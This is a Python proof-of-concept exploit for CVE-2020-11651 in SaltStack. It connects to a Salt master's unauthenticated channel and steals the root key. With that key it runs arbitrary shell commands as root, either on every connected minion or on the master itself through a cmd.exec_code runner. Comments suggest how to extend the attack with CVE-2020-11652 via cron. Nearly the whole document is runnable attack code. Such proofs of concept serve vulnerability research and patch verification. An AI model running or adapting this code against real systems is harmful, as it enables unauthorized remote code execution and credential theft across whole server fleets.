#!/usr/bin/env python3 # POC for exploiting CVE-2020-11651. CVE-2020-11652 not included, but this one is the really powerful one and it should be easy enough to figure out how to get 11652 working if you need. # Author: @dozernz # Some code adapted from https://github.com/rossengeorgiev/salt-security-backports # # Pre-requsities: pip3 install salt import os import sys import salt import salt.version import salt.transport.client import salt.exceptions import datetime def ping_master(): print("Attempting to ping master at "+master_ip) try: msg = {"cmd":"ping"} response = clear_channel.send(msg, timeout=3) if response: return True except salt.exceptions.SaltReqTimeoutError: return False return False def get_rootkey(): try: response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2) for i in response: if isinstance(i,dict) and len(i) == 1: rootkey = list(i.values())[0] print("Retrieved root key: " + rootkey) return rootkey return False except: return False def send_command_to_minions(command): print("Sending command to all minions on master") jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow()) cmd = "/bin/sh -c '{0}'".format(command) msg = {'cmd':"_send_pub","fun":"cmd.run","arg":[cmd],"tgt":"*","ret":"","tgt_type":"glob","user":"root","jid":jid} try: response = clear_channel.send(msg,timeout=3) if response == None: return True else: return False except: return False def master_shell(root_key,command): # This is achieved by using the stolen key to create a "runner" on the master node using the cmdmod module, then the cmd.exec_code function to run some python3 code that shells out. # There is a cmd.shell function but I wasn't able to get it to accept the "cmd" kwarg parameter for some reason. # It's also possible to use CVE-2020-11652 to get shell if the master instance is running as root by writing a crontab into a cron directory, or proably some other ways. # This way is nicer though, and doesn't need the master to be running as root . msg = {"key":root_key, "cmd":"runner", 'fun': 'salt.cmd', "kwarg":{ "fun":"cmd.exec_code", "lang":"python3", "code":"import subprocess;subprocess.call('{}',shell=True)".format(command) }, 'jid': '20200504042611133934', 'user': 'sudo_user', '_stamp': '2020-05-04T04:26:13.609688'} try: response = clear_channel.send(msg,timeout=3) print("Got response for attempting master shell: "+str(response)+ ". Looks promising!") return True except: print("something failed") return False if __name__=="__main__": if len(sys.argv) <= 2: print("Not enough args") print("Use like python3 cve-2020-11651.py ") sys.exit(1) target = sys.argv[1] master_minion_root = sys.argv[2] master_ip = target master_port = '4506' minion_config = { 'transport': 'zeromq', 'pki_dir': '/tmp', 'id': 'root', 'log_level': 'debug', 'master_ip': master_ip, 'master_port': master_port, 'auth_timeout': 5, 'auth_tries': 1, 'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port) } clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear') if not ping_master(): print("Failed to ping the specified master server, exiting") sys.exit(1) if master_minion_root == "master" or master_minion_root == "minions": command = sys.argv[3] rootkey = get_rootkey() if not rootkey: print("Failed to fetch the root key from the instance. This MAY indicate that it is patched") sys.exit(1) else: if master_minion_root == "master": master_shell(rootkey,command) else: send_command_to_minions(command) elif master_minion_root == "fetchkeyonly": get_rootkey() else: print("Invalid usage")